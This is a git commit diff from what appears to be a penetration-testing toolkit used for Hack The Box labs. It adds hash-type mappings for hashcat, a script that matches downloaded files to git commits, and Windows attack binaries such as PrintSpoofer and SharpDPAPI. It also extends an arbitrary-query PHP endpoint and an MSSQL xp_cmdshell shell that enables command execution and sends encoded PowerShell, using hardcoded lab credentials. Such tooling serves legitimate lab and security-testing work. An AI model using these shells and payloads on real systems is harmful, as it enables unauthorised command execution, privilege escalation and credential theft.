some windows binaries, git commit finder
This commit is contained in:
parent
3ea1cba7ca
commit
12af2f80b7
@ -25,6 +25,7 @@ class HashType(enum.Enum):
|
|||||||
RAW_SHA1 = 100
|
RAW_SHA1 = 100
|
||||||
SHA1_PASS_SALT = 110
|
SHA1_PASS_SALT = 110
|
||||||
SHA1_SALT_PASS = 120
|
SHA1_SALT_PASS = 120
|
||||||
|
SHA1_SHA1 = 4500
|
||||||
SHA1 = 101
|
SHA1 = 101
|
||||||
SSHA1 = 111
|
SSHA1 = 111
|
||||||
|
|
||||||
@ -81,6 +82,14 @@ class HashType(enum.Enum):
|
|||||||
# Keepass
|
# Keepass
|
||||||
KEEPASS = 13400
|
KEEPASS = 13400
|
||||||
|
|
||||||
|
# mysql
|
||||||
|
MYSQL_323 = 200
|
||||||
|
MYSQL_41 = 300
|
||||||
|
MySQL_CRAM = 11200
|
||||||
|
|
||||||
|
#
|
||||||
|
IPMI2 = 7300
|
||||||
|
|
||||||
class Hash:
|
class Hash:
|
||||||
|
|
||||||
def __init__(self, hash):
|
def __init__(self, hash):
|
||||||
@ -124,6 +133,8 @@ class Hash:
|
|||||||
self.type.append(HashType.PYTHON_PBKDF2_SHA512)
|
self.type.append(HashType.PYTHON_PBKDF2_SHA512)
|
||||||
elif crypt_type == "keepass":
|
elif crypt_type == "keepass":
|
||||||
self.type.append(HashType.KEEPASS)
|
self.type.append(HashType.KEEPASS)
|
||||||
|
elif crypt_type == "mysqlna":
|
||||||
|
self.type.append(HashType.MySQL_CRAM)
|
||||||
elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
|
elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
|
||||||
self.type.append(HashType.DJANGO_PBKDF2_SHA256)
|
self.type.append(HashType.DJANGO_PBKDF2_SHA256)
|
||||||
else:
|
else:
|
||||||
@ -163,7 +174,9 @@ class Hash:
|
|||||||
|
|
||||||
if HEX_PATTERN.match(raw_hash):
|
if HEX_PATTERN.match(raw_hash):
|
||||||
hash_len = len(raw_hash)
|
hash_len = len(raw_hash)
|
||||||
if hash_len == 32:
|
if hash_len == 16:
|
||||||
|
self.type.append(HashType.MYSQL_323)
|
||||||
|
elif hash_len == 32:
|
||||||
if self.isSalted:
|
if self.isSalted:
|
||||||
self.type.append(HashType.MD5_PASS_SALT)
|
self.type.append(HashType.MD5_PASS_SALT)
|
||||||
self.type.append(HashType.MD5_SALT_PASS)
|
self.type.append(HashType.MD5_SALT_PASS)
|
||||||
@ -179,6 +192,8 @@ class Hash:
|
|||||||
else:
|
else:
|
||||||
self.type.append(HashType.RAW_SHA1)
|
self.type.append(HashType.RAW_SHA1)
|
||||||
self.type.append(HashType.RAW_RIPEMD_160)
|
self.type.append(HashType.RAW_RIPEMD_160)
|
||||||
|
self.type.append(HashType.MYSQL_41)
|
||||||
|
self.type.append(HashType.SHA1_SHA1)
|
||||||
elif hash_len == 64:
|
elif hash_len == 64:
|
||||||
if self.isSalted:
|
if self.isSalted:
|
||||||
self.type.append(HashType.SHA256_PASS_SALT)
|
self.type.append(HashType.SHA256_PASS_SALT)
|
||||||
@ -205,6 +220,9 @@ class Hash:
|
|||||||
if not self.isSalted:
|
if not self.isSalted:
|
||||||
seld.type.append(HashType.MSSQL)
|
seld.type.append(HashType.MSSQL)
|
||||||
self.hash = "0x" + raw_hash # TODO: MSSQL requires 0x prefix..
|
self.hash = "0x" + raw_hash # TODO: MSSQL requires 0x prefix..
|
||||||
|
elif hash_len == 142:
|
||||||
|
if self.isSalted:
|
||||||
|
self.type.append(HashType.IPMI2)
|
||||||
elif raw_hash.startswith("0x") and HEX_PATTERN.match(raw_hash[2:]) and len(raw_hash) == 140+2:
|
elif raw_hash.startswith("0x") and HEX_PATTERN.match(raw_hash[2:]) and len(raw_hash) == 140+2:
|
||||||
seld.type.append(HashType.MSSQL)
|
seld.type.append(HashType.MSSQL)
|
||||||
|
|
||||||
|
@ -85,6 +85,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
|||||||
if len(headers) == 0:
|
if len(headers) == 0:
|
||||||
self.send_response(status_code)
|
self.send_response(status_code)
|
||||||
else:
|
else:
|
||||||
|
if path != "/dummy":
|
||||||
self.log_request(status_code)
|
self.log_request(status_code)
|
||||||
self.send_response_only(status_code)
|
self.send_response_only(status_code)
|
||||||
|
|
||||||
@ -100,7 +101,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
|||||||
if data and self.command.upper() not in ["HEAD","OPTIONS"]:
|
if data and self.command.upper() not in ["HEAD","OPTIONS"]:
|
||||||
self.wfile.write(data)
|
self.wfile.write(data)
|
||||||
|
|
||||||
if path in self.server.dumpRequests or "/" in self.server.dumpRequests:
|
if (path in self.server.dumpRequests or "/" in self.server.dumpRequests) and path != "/dummy":
|
||||||
contentLength = self.headers.get('Content-Length')
|
contentLength = self.headers.get('Content-Length')
|
||||||
body = None
|
body = None
|
||||||
|
|
||||||
|
183
find_git_commit.py
Normal file
183
find_git_commit.py
Normal file
@ -0,0 +1,183 @@
|
|||||||
|
import argparse
|
||||||
|
import re
|
||||||
|
import os
|
||||||
|
import tempfile
|
||||||
|
import subprocess
|
||||||
|
import collections
|
||||||
|
import shutil
|
||||||
|
import hashlib
|
||||||
|
import datetime
|
||||||
|
|
||||||
|
PROC_ENV = { "LC_ALL": "C" }
|
||||||
|
|
||||||
|
def run_cmd(cmd, dir=None, raw=False):
|
||||||
|
proc = subprocess.Popen(cmd, cwd=dir, env=PROC_ENV, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||||
|
out = b"".join(proc.communicate())
|
||||||
|
|
||||||
|
if not raw:
|
||||||
|
out = out.decode().strip()
|
||||||
|
|
||||||
|
exit_code = proc.returncode
|
||||||
|
return exit_code, out
|
||||||
|
|
||||||
|
|
||||||
|
def check_git_dir(dir):
|
||||||
|
exit_code, out = run_cmd(["git", "status"], dir)
|
||||||
|
if "not a git repository" in out:
|
||||||
|
print("[-] Given directory is not a git repository.")
|
||||||
|
return False
|
||||||
|
elif "Your branch is up to date" not in out \
|
||||||
|
or "nothing to commit, working tree clean" not in out:
|
||||||
|
print("[-] Git repository is not in a clean state, please reset it to HEAD")
|
||||||
|
return False
|
||||||
|
elif exit_code != 0:
|
||||||
|
print("[-] Error checking given directory:", out)
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def git_clone(dir, url):
|
||||||
|
print(f"[ ] Cloning {url} to {dir}")
|
||||||
|
exit_code, out = run_cmd(["git", "clone", url, dir, "-q"])
|
||||||
|
if exit_code != 0:
|
||||||
|
print("[-] Error cloing git repository:")
|
||||||
|
print(out)
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def check_input_dir(dir):
|
||||||
|
if not os.path.isdir(dir):
|
||||||
|
print("[-] Invalid directory:", dir)
|
||||||
|
return False
|
||||||
|
|
||||||
|
if os.path.isdir(os.path.join(dir, ".git")):
|
||||||
|
print("[-] Directory to check should not be a git repository")
|
||||||
|
return False
|
||||||
|
|
||||||
|
valid_files = []
|
||||||
|
real_root = os.path.realpath(dir)
|
||||||
|
for root, subdirs, files in os.walk(dir):
|
||||||
|
for file in files:
|
||||||
|
full_path = os.path.realpath(os.path.join(root, file))
|
||||||
|
file_size = os.path.getsize(full_path)
|
||||||
|
if file_size > 0:
|
||||||
|
relative_path = full_path[len(real_root) + 1:]
|
||||||
|
valid_files.append(relative_path)
|
||||||
|
|
||||||
|
if len(valid_files) == 0:
|
||||||
|
print("[-] Given directory does not contain any non-empty files")
|
||||||
|
return False
|
||||||
|
|
||||||
|
return valid_files
|
||||||
|
|
||||||
|
|
||||||
|
def get_commits_for_file(file, git_dir):
|
||||||
|
cmd = ["git","log","--no-color", "--pretty=format:%H %at", "--all","--", file]
|
||||||
|
exit_code, out = run_cmd(cmd, git_dir)
|
||||||
|
if exit_code != 0:
|
||||||
|
print("[-] git-log failed:", out)
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
lines = out.split("\n")
|
||||||
|
commits = collections.OrderedDict()
|
||||||
|
for line in lines:
|
||||||
|
if line:
|
||||||
|
data = line.split(" ")
|
||||||
|
hash, ts = line.split(" ")
|
||||||
|
commits[hash] = int(ts)
|
||||||
|
|
||||||
|
return commits
|
||||||
|
|
||||||
|
def hash(data, alg):
|
||||||
|
h = hashlib.new(alg)
|
||||||
|
h.update(data)
|
||||||
|
return h.hexdigest()
|
||||||
|
|
||||||
|
def read_file(file):
|
||||||
|
with open(file, "rb") as f:
|
||||||
|
return f.read()
|
||||||
|
|
||||||
|
def find_newest_commit(git_dir, file_name, sha1hash, md5hash, commits):
|
||||||
|
for commit_hash in reversed(commits.keys()):
|
||||||
|
cmd = ["git", "show", f"{commit_hash}:{file_name}"]
|
||||||
|
exit_code, out = run_cmd(cmd, git_dir, raw=True)
|
||||||
|
if exit_code != 0:
|
||||||
|
print("[-] git-show failed:", out)
|
||||||
|
return None
|
||||||
|
elif sha1hash == hash(out, "sha1") and md5hash == hash(out, "md5"):
|
||||||
|
return commit_hash
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_commit_message(dir, commit_hash):
|
||||||
|
cmd = ["git","log","--no-color", "--pretty=format:%B", "-n1", commit_hash]
|
||||||
|
exit_code, out = run_cmd(cmd, dir)
|
||||||
|
if exit_code != 0:
|
||||||
|
print("[-] git-log failed:", out)
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
return out
|
||||||
|
|
||||||
|
def run(files, root_dir, git_dir):
|
||||||
|
|
||||||
|
latest_commit = None
|
||||||
|
latest_ts = None
|
||||||
|
|
||||||
|
for f in files:
|
||||||
|
commits = get_commits_for_file(f, git_dir)
|
||||||
|
if commits:
|
||||||
|
print(f"[+] {f} found in git history")
|
||||||
|
sha1hash = hash(read_file(os.path.join(root_dir, f)), "sha1")
|
||||||
|
md5hash = hash(read_file(os.path.join(root_dir, f)), "md5")
|
||||||
|
found_commit = find_newest_commit(git_dir, f, sha1hash, md5hash, commits)
|
||||||
|
if found_commit:
|
||||||
|
print(f"[+] Commit {found_commit} matches")
|
||||||
|
if latest_commit is None or commits[found_commit] < latest_ts:
|
||||||
|
latest_commit = found_commit
|
||||||
|
latest_ts = commits[found_commit]
|
||||||
|
else:
|
||||||
|
print(f"[-] {f} not found in git history")
|
||||||
|
|
||||||
|
if latest_commit is None:
|
||||||
|
print("[-] No matching commit found")
|
||||||
|
else:
|
||||||
|
title = get_commit_message(git_dir, latest_commit)
|
||||||
|
formatted_dt = datetime.datetime.fromtimestamp(latest_ts).strftime("%A, %d. %B %Y %I:%M%p")
|
||||||
|
print(f"[+] Commit might be: {latest_commit}, {formatted_dt}, {title}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument(
|
||||||
|
dest="dir",
|
||||||
|
help="The directory containing downloaded files"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
dest="git",
|
||||||
|
help="URL or path to git repository to compare to"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-n",
|
||||||
|
"--no-delete",
|
||||||
|
dest="nodelete",
|
||||||
|
action="store_true",
|
||||||
|
help="Don't delete the git directory after cloning"
|
||||||
|
)
|
||||||
|
|
||||||
|
is_remote_git = False
|
||||||
|
args = parser.parse_args()
|
||||||
|
git_dir = args.git
|
||||||
|
if re.match("^(git|https?)://.*", args.git) or \
|
||||||
|
(len(args.git.split(":")) == 2 and "@" in args.git.split(":")[0]):
|
||||||
|
git_dir = tempfile.TemporaryDirectory(suffix=".git").name
|
||||||
|
is_remote_git = True
|
||||||
|
if not git_clone(git_dir, args.git):
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if check_git_dir(git_dir):
|
||||||
|
valid_files = check_input_dir(args.dir)
|
||||||
|
if valid_files != False:
|
||||||
|
run(valid_files, args.dir, git_dir)
|
||||||
|
|
||||||
|
if is_remote_git and not args.nodelete:
|
||||||
|
shutil.rmtree(git_dir)
|
6
sql.php
6
sql.php
@ -3,13 +3,15 @@ error_reporting(E_ALL);
|
|||||||
$username = $_REQUEST["username"];
|
$username = $_REQUEST["username"];
|
||||||
$password = $_REQUEST["password"];
|
$password = $_REQUEST["password"];
|
||||||
$database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
|
$database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
|
||||||
|
$host = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost");
|
||||||
|
$query = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version");
|
||||||
|
|
||||||
$link = mysqli_connect("localhost", $username, $password, $database);
|
$link = mysqli_connect($host, $username, $password, $database);
|
||||||
if (!$link) {
|
if (!$link) {
|
||||||
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
|
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
|
||||||
}
|
}
|
||||||
|
|
||||||
$res = mysqli_query($link, $_REQUEST["query"]);
|
$res = mysqli_query($link, $query);
|
||||||
if (!$res) {
|
if (!$res) {
|
||||||
die("Error executing query: " . mysqli_error($link));
|
die("Error executing query: " . mysqli_error($link));
|
||||||
}
|
}
|
||||||
|
4
util.py
4
util.py
@ -154,8 +154,8 @@ def collectUrls(input):
|
|||||||
input = BeautifulSoup(input, "html.parser")
|
input = BeautifulSoup(input, "html.parser")
|
||||||
|
|
||||||
urls = set()
|
urls = set()
|
||||||
attrs = ["src","href"]
|
attrs = ["src","href","action"]
|
||||||
tags = ["a","link","script","img"]
|
tags = ["a","link","script","img","form"]
|
||||||
|
|
||||||
for tag in tags:
|
for tag in tags:
|
||||||
for e in input.find_all(tag):
|
for e in input.find_all(tag):
|
||||||
|
BIN
win/PrintSpoofer.exe
Normal file
BIN
win/PrintSpoofer.exe
Normal file
Binary file not shown.
BIN
win/Seatbelt.exe
Normal file
BIN
win/Seatbelt.exe
Normal file
Binary file not shown.
Binary file not shown.
BIN
win/SharpDPAPI.exe
Normal file
BIN
win/SharpDPAPI.exe
Normal file
Binary file not shown.
BIN
win/SharpGPOAbuse.exe
Normal file
BIN
win/SharpGPOAbuse.exe
Normal file
Binary file not shown.
BIN
win/nmap-setup.exe
Normal file
BIN
win/nmap-setup.exe
Normal file
Binary file not shown.
BIN
win/wireshark-setup.exe
Normal file
BIN
win/wireshark-setup.exe
Normal file
Binary file not shown.
@ -5,6 +5,7 @@
|
|||||||
import os, cmd, sys, re, base64
|
import os, cmd, sys, re, base64
|
||||||
from impacket import tds
|
from impacket import tds
|
||||||
import readline
|
import readline
|
||||||
|
import argparse
|
||||||
|
|
||||||
class XpShell(cmd.Cmd):
|
class XpShell(cmd.Cmd):
|
||||||
|
|
||||||
@ -13,6 +14,7 @@ class XpShell(cmd.Cmd):
|
|||||||
self.sql = SQLObj
|
self.sql = SQLObj
|
||||||
self.prompt = 'xp_cmd> '
|
self.prompt = 'xp_cmd> '
|
||||||
self.file = None
|
self.file = None
|
||||||
|
self.pwsh = False
|
||||||
|
|
||||||
def powershell_encode(self, data):
|
def powershell_encode(self, data):
|
||||||
return base64.b64encode(data.encode('UTF-16LE')).decode()
|
return base64.b64encode(data.encode('UTF-16LE')).decode()
|
||||||
@ -24,7 +26,7 @@ class XpShell(cmd.Cmd):
|
|||||||
def default(self, arg):
|
def default(self, arg):
|
||||||
try:
|
try:
|
||||||
|
|
||||||
if pwsh:
|
if self.pwsh:
|
||||||
new_arg = 'powershell -encodedCommand {}'
|
new_arg = 'powershell -encodedCommand {}'
|
||||||
arg = new_arg.format(self.powershell_encode(arg))
|
arg = new_arg.format(self.powershell_encode(arg))
|
||||||
|
|
||||||
@ -36,6 +38,7 @@ class XpShell(cmd.Cmd):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
print('Exception: ')
|
print('Exception: ')
|
||||||
print(str(e))
|
print(str(e))
|
||||||
|
raise e
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# i wont say what it does
|
# i wont say what it does
|
||||||
@ -115,6 +118,14 @@ exit - i wont say what it does
|
|||||||
self.sql.colMeta[0]['TypeData'] = 80*1
|
self.sql.colMeta[0]['TypeData'] = 80*1
|
||||||
self.sql.printRows()
|
self.sql.printRows()
|
||||||
|
|
||||||
|
def do_enable_xp_cmdshell(self):
|
||||||
|
try:
|
||||||
|
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
|
||||||
|
"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||||
|
self.sql.printReplies()
|
||||||
|
self.sql.printRows()
|
||||||
|
except Exception as e:
|
||||||
|
raise e
|
||||||
|
|
||||||
# encodes bytes as base64 and writes them to a file via powershell
|
# encodes bytes as base64 and writes them to a file via powershell
|
||||||
def write_bytes_to_file(self, data, target):
|
def write_bytes_to_file(self, data, target):
|
||||||
@ -132,7 +143,6 @@ exit - i wont say what it does
|
|||||||
|
|
||||||
def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
|
def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
|
||||||
# do database connection (simple for now)
|
# do database connection (simple for now)
|
||||||
try:
|
|
||||||
ms_sql = tds.MSSQL(ip, port)
|
ms_sql = tds.MSSQL(ip, port)
|
||||||
ms_sql.connect()
|
ms_sql.connect()
|
||||||
res = ms_sql.login(database = None, username=username, password=password, domain=domain)
|
res = ms_sql.login(database = None, username=username, password=password, domain=domain)
|
||||||
@ -142,22 +152,16 @@ def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
|
|||||||
else:
|
else:
|
||||||
return res
|
return res
|
||||||
|
|
||||||
except Exception as e:
|
if __name__ == '__main__':
|
||||||
print('Exception: ')
|
# pass commands directly into powershell
|
||||||
print(str(e))
|
# ./xp_cmdshell.py -powershell
|
||||||
return False
|
|
||||||
|
|
||||||
# if __name__ == '__main__':
|
|
||||||
# # pass commands directly into powershell
|
|
||||||
# # ./xp_cmdshell.py -powershell
|
|
||||||
# if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
|
# if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
|
||||||
# pwsh = True
|
# pwsh = True
|
||||||
#
|
|
||||||
# # if connection successful
|
# if connection successful
|
||||||
# ms_sql, res = connect_mssql()
|
xp_shell = connect_mssql("teignton.htb", username="webappusr", password="d65f4sd5f1s!df1fsd65f1sd")
|
||||||
# if res is True:
|
if isinstance(xp_shell, XpShell):
|
||||||
# shell = XpShell(ms_sql)
|
xp_shell.do_enable_xp_cmdshell()
|
||||||
# shell.cmdloop()
|
xp_shell.pwsh = True
|
||||||
#
|
xp_shell.cmdloop()
|
||||||
# # close ms_sql
|
xp_shell.sql.disconnect()
|
||||||
# ms_sql.disconnect()
|
|
||||||
|
Loading…
Reference in New Issue
Block a user